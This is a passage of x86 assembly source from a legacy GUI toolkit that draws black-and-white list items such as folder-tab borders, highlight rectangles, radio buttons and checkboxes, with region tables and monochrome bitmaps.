call GrSetTextColor ;have text match area color
endif
if DRAW_ITEM_BORDERS and ALLOW_TAB_ITEMS and BW_TAB_ITEMS
tabDrawn:
endif
;set AreaColor C_BLACK or dark color.
;Left justify if in menu, otherwise center. If we're in a toolbox
;use small margins. (pass cl = OLBI_optFlags so knows whether
;cursored emphasis is going away.)
mov al, cl ;pass al = OLBI_optFlags
call OLButtonSetupMonikerAttrs
;pass info indicating which accessories
;to draw with moniker
;returns cx = info.
;does not trash ax, dx, di
if _KBD_NAVIGATION ;------------------------------------------------------
;In OpenLook: may want to prevent this if is standard item in menu (not CB)
;pass al = OLBI_optFlags
call OLButtonTestForCursored ;in Resident resource
test bx, mask OLBSS_CURSORED
;
; Avoid reinverting the no-longer-to-be-drawn selection cursor in full
; invert mode -- the thing is already been redrawn. -cbh 2/20/93
; (Changed to be done in either mode -- the inset rect obliterates the
; old rectangle as well.)
;
jnz 85$ ;skip if cursored...
andnf cx, not mask OLMA_DISP_SELECTION_CURSOR
85$:
;if selection cursor is on this object, and is a checkbox, have the
;dotted line drawn inside the bounds of the object.
test cx, mask OLMA_DISP_SELECTION_CURSOR
jz 86$ ;skip if not...
ornf cx, mask OLMA_USE_CHECKBOX_SELECTION_CURSOR
;Invert the image to draw it in this full-invert mode. -cbh 2/19/93
;(No, do it in all modes. -cbh 2/22/93)
ornf cx, mask OLMA_USE_TOOLBOX_SELECTION_CURSOR
86$:
endif ;------------------------------------------------------
mov ah, dh ;set ah = OLII_state
mov al, (J_CENTER shl offset DMF_X_JUST) or \
(J_CENTER shl offset DMF_Y_JUST)
OLS < mov dx, (BUTTON_INSET_Y shl 8) or BUTTON_INSET_X >
OLS < test ah, mask OLIS_DRAW_AS_TOOLBOX >
OLS < jz 90$ >
mov dx, (BW_TOOLBOX_INSET_Y shl 8) or BW_TOOLBOX_INSET_X
90$:
mov bp, ds:[si]
add bp, ds:[bp].Vis_offset
test ds:[bp].OLBI_specState, mask OLBSS_IN_MENU
jz 95$ ;not in menu, branch
mov al, (J_LEFT shl offset DMF_X_JUST) or \
(J_CENTER shl offset DMF_Y_JUST)
95$: ;pass al = DrawMonikerFlags, cx = OLMonikerAttrs
call OLButtonDrawMoniker ;draw moniker and accessories
done:
ret
ItemDrawBWItem endp
if ALLOW_TAB_ITEMS and BW_TAB_ITEMS
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
OLItemDrawBWTabBorder
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Draws the border of the folder tab. The tab can be
one of three different styles: top, left, or right.
The tab is either selected or deselected, giving a
total of 6 different tab types to draw.
CALLED BY: ItemDrawBWItem
PASS: ax, bx, cx, dx = bounds for item border
*ds:si = item object
RETURN: carry set if item is a tab, in which case it was drawn
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
grisco 9/26/96 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
OLItemDrawBWTabBorder proc near
uses ax,bx,cx,dx,si,di,bp
.enter
;
; Check if it's a tab
;
push di
mov di, ds:[si]
add di, ds:[di].Vis_offset
mov al, ds:[di].OLII_extraRecord
test al, mask OLIER_TAB_STYLE
jnz drawTab
clc
pop di
done:
.leave
ret
drawTab:
clr ah
andnf al, mask OLIER_TAB_STYLE
Assert etype al, OLItemTabStyle
;
; It's a tab, draw the correct region, depending upon
; orientation and selection
;
test ds:[di].OLBI_specState, mask OLBSS_SELECTED
jz notSelected
add al, NUM_TAB_STYLES
notSelected:
shl al, 1 ; word-sized table entries
mov bp, ax ; bp = table index
pop di ; di = gstate
mov ax, (CF_INDEX shl 8) or C_BLACK
call GrSetAreaColor
call VisGetBounds ; ax, bx, cx, dx = bounds
push ax
mov ax, C_WHITE
call GrSetAreaColor
pop ax
call GrFillRect ; clear the area
sub cx, ax ; cx = width
sub dx, bx ; dx = height
push ax
mov ax, C_BLACK
call GrSetAreaColor
pop ax
segmov ds, cs
mov si, cs:[folderTabRegionTable][bp] ; ds:si = region
call GrDrawRegion
stc ; signal already drawn
jmp done
OLItemDrawBWTabBorder endp
folderTabRegionTable word\
0, ; dummy
offset TopTabRegion, ; top-rounded/NOT selected
offset LeftTabRegion, ; left-rounded/NOT selected
offset RightTabRegion, ; right-rounded/NOT selected
offset TopSelectedTabRegion, ; top-rounded/selected
offset LeftSelectedTabRegion, ; left-rounded/selected
offset RightSelectedTabRegion ; right-rounded/selected
TopTabRegion label Region
word 0, 0, PARAM_2-1, PARAM_3-1 ;bounds
word -1, EOREGREC
word 0, EOREGREC
word 1, 6, PARAM_2-7, EOREGREC
word 2, 4, 5, PARAM_2-6, PARAM_2-5, EOREGREC
word 3, 3, 3, PARAM_2-4, PARAM_2-4, EOREGREC
word 5, 2, 2, PARAM_2-3, PARAM_2-3, EOREGREC
word PARAM_3-2, 1, 1, PARAM_2-2, PARAM_2-2, EOREGREC
word PARAM_3-1, 0, PARAM_2-1, EOREGREC
word EOREGREC
TopSelectedTabRegion label Region
word 0, 0, PARAM_2-1, PARAM_3-1 ;bounds
word -1, EOREGREC
word 0, 5, PARAM_2-6, EOREGREC
word 1, 3, 4, PARAM_2-6, PARAM_2-4, EOREGREC
word 2, 2, 2, PARAM_2-4, PARAM_2-3, EOREGREC
word 4, 1, 1, PARAM_2-3, PARAM_2-2, EOREGREC
word PARAM_3-1, 0, 0, PARAM_2-2, PARAM_2-1, EOREGREC
word EOREGREC
LeftTabRegion label Region
word 0, 0, PARAM_2-1, PARAM_3-1 ;bounds
word -1, EOREGREC
word 0, PARAM_2-1, PARAM_2-1, EOREGREC
word 1, 6, PARAM_2-1, EOREGREC
word 2, 4, 5, PARAM_2-1, PARAM_2-1, EOREGREC
word 3, 3, 3, PARAM_2-1, PARAM_2-1, EOREGREC
word 5, 2, 2, PARAM_2-1, PARAM_2-1, EOREGREC
word PARAM_3-6, 1, 1, PARAM_2-1, PARAM_2-1, EOREGREC
word PARAM_3-5, 2, 2, PARAM_2-1, PARAM_2-1, EOREGREC
word PARAM_3-4, 3, 3, PARAM_2-1, PARAM_2-1, EOREGREC
word PARAM_3-3, 4, 5, PARAM_2-1, PARAM_2-1, EOREGREC
word PARAM_3-2, 6, PARAM_2-1, EOREGREC
word PARAM_3-1, PARAM_2-1, PARAM_2-1, EOREGREC
word EOREGREC
LeftSelectedTabRegion label Region
word 0, 0, PARAM_2-1, PARAM_3-1 ;bounds
word -1, EOREGREC
word 0, 5, PARAM_2-1, EOREGREC
word 1, 3, 4, EOREGREC
word 2, 2, 2, EOREGREC
word 4, 1, 1, EOREGREC
word PARAM_3-6, 0, 0, EOREGREC
word PARAM_3-5, 0, 1, EOREGREC
word PARAM_3-4, 1, 1, EOREGREC
word PARAM_3-3, 1, 2, EOREGREC
word PARAM_3-2, 2, PARAM_2-1, EOREGREC
word PARAM_3-1, 4, PARAM_2-1, EOREGREC
word EOREGREC
RightTabRegion label Region
word 0, 0, PARAM_2-1, PARAM_3-1 ;bounds
word -1, EOREGREC
word 0, 0, 0, EOREGREC
word 1, 0, PARAM_2-7, EOREGREC
word 2, 0, 0, PARAM_2-6, PARAM_2-5, EOREGREC
word 3, 0, 0, PARAM_2-4, PARAM_2-4, EOREGREC
word 4, 0, 0, PARAM_2-3, PARAM_2-3, EOREGREC
word PARAM_3-6, 0, 0, PARAM_2-2, PARAM_2-2, EOREGREC
word PARAM_3-5, 0, 0, PARAM_2-3, PARAM_2-3, EOREGREC
word PARAM_3-4, 0, 0, PARAM_2-4, PARAM_2-4, EOREGREC
word PARAM_3-3, 0, 0, PARAM_2-6, PARAM_2-5, EOREGREC
word PARAM_3-2, 0, PARAM_2-7, EOREGREC
word PARAM_3-1, 0, 0, EOREGREC
word EOREGREC
RightSelectedTabRegion label Region
word 0, 0, PARAM_2-1, PARAM_3-1 ;bounds
word -1, EOREGREC
word 0, 0, PARAM_2-6, EOREGREC
word 1, PARAM_2-5, PARAM_2-4, EOREGREC
word 2, PARAM_2-3, PARAM_2-3, EOREGREC
word 4, PARAM_2-2, PARAM_2-2, EOREGREC
word PARAM_3-6, PARAM_2-1, PARAM_2-1, EOREGREC
word PARAM_3-5, PARAM_2-2, PARAM_2-1, EOREGREC
word PARAM_3-4, PARAM_2-2, PARAM_2-2, EOREGREC
word PARAM_3-3, PARAM_2-3, PARAM_2-2, EOREGREC
word PARAM_3-2, 0, PARAM_2-3, EOREGREC
word PARAM_3-1, 0, PARAM_2-5, EOREGREC
word EOREGREC
endif ;ALLOW_TAB_ITEMS
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ItemDrawBWItemHighlight
SYNOPSIS: Either draws or clears the inner highlighting rectangle.
PASS: *ds:si - instance data of the item
ax, bx, cx, dx - bounds of the item
bp (high byte) - OLBI_specState (low byte)
di - GState to use
RETURN: di - preserved
DESTROYED: ax, bx, cx, dx
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ItemDrawBWItemHighlight proc near
uses ax, bx, cx, dx
.enter
push ax
mov ax, C_WHITE ;Assume no highlight
if FOCUSED_GADGETS_ARE_INVERTED
test bp, (mask OLBSS_CURSORED) shl 8
else
test bp, (mask OLBSS_SELECTED) shl 8
endif
jz 60$
mov ax, C_BLACK
60$:
if INVERT_ENTIRE_BW_ITEM_IMAGE
call GrSetAreaColor
else
call GrSetLineColor
endif
pop ax
;
; move in one pixel from the bounds
;
inc ax ;Move in to the highlight bounds
inc bx
dec cx
dec dx
if INVERT_ENTIRE_BW_ITEM_IMAGE
inc cx ;Get out to fill params
inc dx
call GrFillRect
dec cx ;Reset these
dec dx
else
call GrDrawRect ; Draw/erase the highlight
endif
mov ax, C_BLACK ; Reset to using solid black
call GrSetLineColor
.leave
ret
ItemDrawBWItemHighlight endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ItemDrawBWRadioButton
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Draws a radio button.
CALLED BY: ItemDrawBWItem (is JUMPED to)
PASS: *ds:si -- instance data
al = flags which have changed
bh = OLBI_specState (low byte)
cl = OLBI_optFlags
bl = OLII_state
dl = GI_states
dh = OLII_state
al = flags which have changed
ch = TRUE if full redraw is requested
RETURN: nothing
DESTROYED: everything
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Chris 1/4/90 Initial version
Eric 3/90 cleanup
Chris 4/91 Updated for new graphics, bounds conventions
Chris 5/92 GenItemGroupClass V2.0 rewrite
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
if _CUA_STYLE ;--------------------------------------------------------------
ItemDrawBWRadioButton proc far
class OLItemClass
tst ch ;is this a full redraw?
jnz fullRedraw ;skip if so...
if _ISUI
push di
mov di, ds:[si]
add di, ds:[di].Vis_offset
test ds:[di].OLBI_specState, mask OLBSS_IN_MENU
pop di
jnz fullRedraw
endif
;
; Only part needs to be redrawn.
;
call ItemDrawBWRadioButtonPartial
updateCursored:
;if the CURSORED state has changed, update the selection cursor
;image (future optimization: it is possible to call OpenDrawMoniker,
;passing flags so that just the selection cursor is drawn.)
;(pass cl = OLBI_optFlags, so OLButtonSetupMonikerDrawFlags knows
;whether to draw or erase cursor)
test al, mask OLBSS_CURSORED
jnz drawMoniker ;skip if changed...
jmp done ;skip (long) to end if no change...
fullRedraw:
push si, ds, dx
if _BW_MENU_ITEM_SELECTION_IS_DEPRESSED or _ISUI
;
; Stylus: Draw the depressed background, if necessary.
;
clr ah ; redraw depressed background
call ItemDrawBWItemDepressedIfInMenu
endif ; _BW_MENU_ITEM_SELECTION_IS_DEPRESSED or _ISUI
if not _BW_MENU_ITEM_SELECTION_IS_DEPRESSED
;
; Motif: draw the border if necessary
;
; Not done if _BW_MENU_ITEM_SELECTION_IS_DEPRESSED because we don't
; care about bordered we are going to inverse the button.
;
MO < call ItemDrawBWMotifItemBorderIfInMenu >
ISU < call ItemDrawBWMotifItemBorderIfInMenu >
endif ;not _BW_MENU_ITEM_SELECTION_IS_DEPRESSED
if _ISUI
push di
mov di, ds:[si]
add di, ds:[di].Vis_offset
test ds:[di].OLBI_specState, mask OLBSS_IN_MENU
pop di
jz drawButton
call ItemDrawISUICheck
jmp buttonDrawn
drawButton:
endif ; _ISUI
;
; Draw the button.
;
call ItemDrawBWRadioButtonButton
buttonDrawn:
pop si, ds, dx
clr cl ;pass flag to OLButtonSetupMonikerDrawFlags:
;if not cursored, no need to erase cursor image
drawMoniker:
;
; Draw the item moniker.
;
if _BW_MENU_ITEM_SELECTION_IS_DEPRESSED or _ISUI
call ItemBWForegroundColorIfDepressedIfInMenu
call GrSetAreaColor
call GrSetLineColor
call GrSetTextColor
else ; not _BW_MENU_ITEM_SELECTION_IS_DEPRESSED and not _ISUI
call OLItemSetAreaColorBlackIfEnabled
;
; Needed for mnemonics. -cbh 3/ 9/93
;
mov ax, C_BLACK
call GrSetLineColor ; for mnemonics
endif ; _BW_MENU_ITEM_SELECTION_IS_DEPRESSED or _ISUI
mov al, cl ;pass OLBI_optFlags or 0
push bx
call OLButtonSetupMonikerAttrs
pop bx ;pass info indicating which accessories
;to draw with moniker
;returns cx = info.
mov al, (J_LEFT shl offset DMF_X_JUST) or \
(J_CENTER shl offset DMF_Y_JUST)
;
; Since this moniker is going to be left justified and centered
; vertically, we only need to worry about left inset.
;
mov dx, MO_ITEM_INSET_LEFT
call OLButtonDrawMoniker
done:
ret
ItemDrawBWRadioButton endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ItemDrawBWRadioButtonPartial
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Draws a radio button item in part.
CALLED BY: ItemDrawBWRadioButton
PASS: *ds:si -- instance data
al = flags which have changed
bh = OLBI_specState (low byte)
cl = OLBI_optFlags
bl = OLII_state
dl = GI_states
dh = OLII_state
al = flags which have changed
ch = TRUE if full redraw is requested
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
;The CURSORED, DEPRESSED, SELECTED, or DEFAULT flag(s) have changed
;update the DOT image according to the new SELECTED state.
REVISION HISTORY:
Name Date Description
---- ---- -----------
stevey 4/30/95 Pulled from ItemDrawBWRadioButton
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ItemDrawBWRadioButtonPartial proc near
.enter
if _BW_MENU_ITEM_SELECTION_IS_DEPRESSED or _ISUI
;
; Check if DEPRESSED state changed.
;
test al, mask OLBSS_DEPRESSED
jz updateSelected ;skip if not
mov ah, TRUE ;update depressed background
call ItemDrawBWItemDepressedIfInMenu
endif ; _BW_MENU_ITEM_SELECTION_IS_DEPRESSED or _ISUI
updateSelected:
push ds, si, cx, ax, bx
mov ax, C_BLACK
if _BW_MENU_ITEM_SELECTION_IS_DEPRESSED or _ISUI
; If item selection is indicated by depression (which is represented
; by reverse video), then the radio button should be drawn black
; ONLY IF (SELECTED xor DEPRESSED) is true.
mov ch, bh ; move specState (low byte) into ch
; ensure that the shift operand is positive
CheckHack <((offset OLBSS_SELECTED) - (offset OLBSS_DEPRESSED)) gt 0>
; shift the depressed bit over into the selected bit position
mov cl, (offset OLBSS_SELECTED) - (offset OLBSS_DEPRESSED)
shl ch, cl
xor ch, bh
; ch and OLBSS_SELECTED == OLBSS_DEPRESSED xor OLBSS_SELECTED
test ch, mask OLBSS_SELECTED
else ;_BW_MENU_ITEM_SELECTION_IS_DEPRESSED is FALSE and _ISUI is FALSE
; Otherwise, just simply check if the item is selected.
test bh, mask OLBSS_SELECTED ;is item selected?
endif ; _BW_MENU_ITEM_SELECTION_IS_DEPRESSED or _ISUI
jnz 60$ ;skip if so...
mov ax, C_WHITE
60$:
call GrSetAreaColor
call OpenGetLineBounds
MO < inc ax ;move over 1 pixel, so selection >
;cursor does not eat it
ISU < inc ax ;move over 1 pixel, so selection >
;cursor does not eat it
mov si, offset itemRadioInBM
call ItemDrawBWRadioButtonBitmap
pop ds, si, cx, ax, bx
if not _BW_MENU_ITEM_SELECTION_IS_DEPRESSED
if _MOTIF or _ISUI
updateBordered:
;Motif/ISUI: if in menu, then BORDERED flag might be set.
;see if BORDERED state changed.
test al, mask OLBSS_BORDERED
jz done ;skip if not...
call ItemDrawBWMotifItemBorderIfInMenu ; draw or erase border
done:
endif ; _MOTIF or _ISUI
endif ;not _BW_MENU_ITEM_SELECTION_IS_DEPRESSED
.leave
ret
ItemDrawBWRadioButtonPartial endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ItemDrawBWRadioButtonButton
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Draw the actual button part.
CALLED BY: ItemDrawBWRadioButton
PASS: *ds:si -- instance data
al = flags which have changed
bh = OLBI_specState (low byte)
cl = OLBI_optFlags
bl = OLII_state
dl = GI_states
dh = OLII_state
al = flags which have changed
ch = TRUE if full redraw is requested
RETURN: nothing
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
stevey 4/30/95 Pulled out of ItemDrawBWRadioButton
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ItemDrawBWRadioButtonButton proc near
.enter
test bh, mask OLBSS_SELECTED ; is item selected?
pushf
if _BW_MENU_ITEM_SELECTION_IS_DEPRESSED or _ISUI
call ItemBWForegroundColorIfDepressedIfInMenu ; select drawing color
else ;_BW_MENU_ITEM_SELECTION_IS_DEPRESSED is FALSE and _ISUI is FALSE
mov ax, C_BLACK
endif ;_BW_MENU_ITEM_SELECTION_IS_DEPRESSED or _ISUI
call GrSetAreaColor
call OpenGetLineBounds
MO < inc ax ;move over 1 pixel, so selection >
;cursor does not eat it
ISU < inc ax ;move over 1 pixel, so selection >
;cursor does not eat it
push si
mov si, dx ; center the radio button
sub si, bx ; by subtracting top from bottom
if _MOTIF ; and subtracting button height
sub si, DIAMOND_HEIGHT-1
else
sub si, RADIO_HEIGHT-1
endif ; _MOTIF
shr si, 1 ; and dividing by 2
add bx, si ; add to top edge
clr dx
pop si
;commented out so outline *does* draw when unselected - brianc 6/3/93
;MO < call OLItemIsInMenu ;Don't draw outline if B/W menu >
FXIP < push ax, bx >
FXIP < mov bx, handle DrawBWRegions >
FXIP < call MemLock >
FXIP < mov ds, ax >
FXIP < pop ax, bx >
NOFXIP< segmov ds, cs >
;MO < jnz noOutline ; -cbh 3/ 8/93 >
;
; Since the bitmap consists of some 1-pixel wide lines, it
; might not draw at all on mono systems if we draw it with a
; 50% mask. Therefore, set the mask to 100% temporarily.
;
push ax
mov al, GMT_ENUM
call GrGetAreaMask
clr ah
mov_tr bp, ax ; save old mask
cmp bp, SDM_100
je afterSet
mov al, SDM_100
call GrSetAreaMask
afterSet:
pop ax
mov si, offset itemRadioOutBM
call GrFillBitmap
;
; restore original mask, unless it was SDM_100.
;
cmp bp, SDM_100
je noOutline
push ax
mov_tr ax, bp
call GrSetAreaMask
pop ax
noOutline:
popf
jz 80$ ;skip if not...
mov si, offset itemRadioInBM
call GrFillBitmap
80$: ;Set the area color to be used by monochrome bitmap monikers
FXIP < push bx >
FXIP < mov bx, handle DrawBWRegions >
FXIP < call MemUnlock >
FXIP < pop bx >
done:
.leave
ret
ItemDrawBWRadioButtonButton endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ItemDrawBWRadioButtonBitmap
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Draws a radio button bitmap.
CALLED BY: ItemDrawBWItem
PASS: si = offset of bitmap to draw.
ax = left
bx = top
dx = bottom
RETURN: nothing
DESTROYED: bx, dx
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Chris 1/4/90 Initial version
Eric 3/90 cleanup
Chris 4/91 Updated for new graphics, bounds conventions
Chris 5/92 GenItemGroupClass V2.0 rewrite
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ItemDrawBWRadioButtonBitmap proc near
push si
mov si, dx ; center the radio button
sub si, bx ; by subtracting top from bottom
if _MOTIF ; and subtracting button height
sub si, DIAMOND_HEIGHT-1
else
sub si, RADIO_HEIGHT-1
endif ; _MOTIF
shr si, 1 ; and dividing by 2
add bx, si ; add to top edge
FXIP < push ax, bx >
FXIP < mov bx, handle DrawBWRegions >
FXIP < call MemLock >
FXIP < mov ds, ax >
FXIP < pop ax, bx >
NOFXIP< segmov ds, cs >
clr dx
pop si
call GrFillBitmap
FXIP < push bx >
FXIP < mov bx, handle DrawBWRegions >
FXIP < call MemUnlock >
FXIP < pop bx >
ret
ItemDrawBWRadioButtonBitmap endp
;Bitmap to use when checkmark item set
if _FXIP ; bitmaps in separate resource for xip
DrawBW ends
DrawBWRegions segment resource
endif
if _MOTIF
itemRadioOutBM label word
word 11
word 11
byte 0, BMF_MONO
byte 00000100b, 00000000b
byte 00001010b, 00000000b
byte 00010001b, 00000000b
byte 00100000b, 10000000b
byte 01000000b, 01000000b
byte 10000000b, 00100000b
byte 01000000b, 01000000b
byte 00100000b, 10000000b
byte 00010001b, 00000000b
byte 00001010b, 00000000b
byte 00000100b, 00000000b
itemRadioInBM label word
word 11
word 11
byte 0, BMF_MONO
byte 00000000b, 00000000b
byte 00000100b, 00000000b
byte 00001110b, 00000000b
byte 00011111b, 00000000b
byte 00111111b, 10000000b
byte 01111111b, 11000000b
byte 00111111b, 10000000b
byte 00011111b, 00000000b
byte 00001110b, 00000000b
byte 00000100b, 00000000b
byte 00000000b, 00000000b
else ; else of if _MOTIF
itemRadioOutBM label word
word RADIO_WIDTH
word RADIO_HEIGHT
byte 0, BMF_MONO
byte 00001110b, 00000000b
byte 00110001b, 10000000b
byte 01000000b, 01000000b
byte 10000000b, 00100000b
byte 10000000b, 00100000b
byte 10000000b, 00100000b
byte 10000000b, 00100000b
byte 01000000b, 01000000b
byte 00110001b, 10000000b
byte 00001110b, 00000000b
itemRadioInBM label word
word RADIO_WIDTH
word RADIO_HEIGHT
byte 0, BMF_MONO
byte 00000000b, 00000000b
byte 00000000b, 00000000b
byte 00001110b, 00000000b
byte 00011111b, 00000000b
byte 00111111b, 10000000b
byte 00111111b, 10000000b
byte 00011111b, 00000000b
byte 00001110b, 00000000b
byte 00000000b, 00000000b
byte 00000000b, 00000000b
endif ; endif of else of if _MOTIF
if _FXIP ; bitmaps in separate resource for xip
DrawBWRegions ends
DrawBW segment resource
endif
endif ;CUA STYLE -----------------------------------------------------
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ItemDrawBWNonExclusiveItem
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Draws a non-exclusive item.
CALLED BY: ItemDrawBWItem (is JUMPED to)
PASS: *ds:si -- instance data
al = flags which have changed
bl = OLII_state
bh = OLBI_specState (low byte)
cl = OLBI_optFlags
ch = TRUE if full redraw is requested
dl = GI_states
dh = OLII_state
RETURN: nothing
DESTROYED: everything
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Eric 4/90 initial version
Chris 4/91 Updated for new graphics, bounds conventions
Chris 5/92 GenItemGroupClass V2.0 rewrite
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ItemDrawBWNonExclusiveItem proc far
class OLItemClass
;
; Motif, CUA: some optimizations are possible, because the
; checkmark or X-mark can be redrawn in black or white to flip
; its state. In OpenLook, a full redraw is required because the
; checkmark is a two-color bitmap.
;
tst ch ; is this a full redraw?
jnz fullRedraw ; skip if so...
if _ISUI
push di
mov di, ds:[si]
add di, ds:[di].Vis_offset
test ds:[di].OLBI_specState, mask OLBSS_IN_MENU
pop di
jnz fullRedraw
endif
call ItemDrawBWNonExclusiveItemPartial
updateCursored::
;
; if the CURSORED state has changed, update the selection cursor
; image (future optimization: it is possible to call OpenDrawMoniker,
; passing flags so that just the selection cursor is drawn.)
; (pass cl = OLBI_optFlags, so OLButtonSetupMonikerDrawFlags knows
; whether to draw or erase cursor)
;
test al, mask OLBSS_CURSORED
jnz drawMoniker ; skip if changed
jmp done ; skip to end if no change
fullRedraw:
;-----------------------------------------------------------------------------
; MSG_META_EXPOSED: draw whole item
;-----------------------------------------------------------------------------
if _ISUI
push di
mov di, ds:[si]
add di, ds:[di].Vis_offset
test ds:[di].OLBI_specState, mask OLBSS_IN_MENU
pop di
jz drawCheckbox
clr ah ; redraw depressed background
call ItemDrawBWItemDepressedIfInMenu
call ItemDrawISUICheck
jmp checkboxDrawn
drawCheckbox:
endif ; _ISUI
;
; Draw the checkbox and border (if any).
;
call ItemDrawNonExclusiveCheckbox
checkboxDrawn:
;
; Set the area color to be used by monochrome bitmap monikers.
; pass flag to OLButtonSetupMonikerDrawFlags:
; if not cursored, no need to erase cursor image.
;
clr cl
drawMoniker:
if _BW_MENU_ITEM_SELECTION_IS_DEPRESSED or _ISUI
call ItemBWForegroundColorIfDepressedIfInMenu
call GrSetAreaColor
call GrSetLineColor
call GrSetTextColor
else ; not _BW_MENU_ITEM_SELECTION_IS_DEPRESSED and not _ISUI
call OLItemSetAreaColorBlackIfEnabled
;set AreaColor C_BLACK or dark color.
;
; Needed for mnemonics. -cbh 3/ 9/93
;
mov ax, C_BLACK
call GrSetLineColor ;for mnemonics
endif ; _BW_MENU_ITEM_SELECTION_IS_DEPRESSED or _ISUI
mov al, cl ;pass OLBI_optFlags or 0
push bx
call OLButtonSetupMonikerAttrs
pop bx ;pass info indicating which accessories
;to draw with moniker
;returns cx = info.
mov al, (J_LEFT shl offset DMF_X_JUST) or \
(J_CENTER shl offset DMF_Y_JUST)
OLS < clr dx ; dl=xoffset, dh=yoffset >
CUAS < mov dx, CHECK_BOX_WIDTH
;pass al = DrawMonikerFlags,
;cx = OLMonikerAttrs
call OLButtonDrawMoniker ;draw moniker, using OpenDrawMoniker
;so that accessories can be drawn.
done:
ret
ItemDrawBWNonExclusiveItem endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ItemDrawBWNonExclusiveItemPartial
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Do a partial redraw of a nonexclusive item.
CALLED BY: ItemDrawBWNonExclusiveItem
PASS: *ds:si -- instance data
al = flags which have changed
bl = OLII_state
bh = OLBI_specState (low byte)
cl = OLBI_optFlags
ch = TRUE if full redraw is requested
dl = GI_states
dh = OLII_state
RETURN: nothing
DESTROYED: everything
PSEUDO CODE/STRATEGY:
If the CURSORED, DEPRESSED, SELECTED, or DEFAULT flag(s) have
changed; update the image according to the new SELECTED state.
REVISION HISTORY:
Name Date Description
---- ---- -----------
stevey 4/30/95 Pulled out of ItemDrawBWNonExclusiveItem
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
if _CUA_STYLE ;--------------------------------------------------------------
ItemDrawBWNonExclusiveItemPartial proc near
.enter
updateDepressed::
;
; First: update DEPRESSED state
;
test al, mask OLBSS_DEPRESSED ; has depressed state changed?
jz updateSelected ; skip if not...
;
; If _BW_MENU_ITEM_SELECTION_IS_DEPRESSED is TRUE, then
; depressed is indicated by a reversed background, not a
; highlighted mark (if in a menu - if not in a menu, depressed
; is not indicated).
;
if _BW_MENU_ITEM_SELECTION_IS_DEPRESSED or _ISUI
mov ah, TRUE ; update depressed background
call ItemDrawBWItemDepressedIfInMenu
else ; not _BW_MENU_ITEM_SELECTION_IS_DEPRESSED and not _ISUI
;
; Otherwise, draw the "highlighted" exclusive mark.
;
push ax, bx, cx, dx
mov ax, C_BLACK
test bh, mask OLBSS_DEPRESSED ; is item depressed?
jnz 10$ ; skip if so...
mov ax, C_WHITE
10$: call GrSetLineColor
call ItemDrawBWNonExclHighlight
pop ax, bx, cx, dx
;
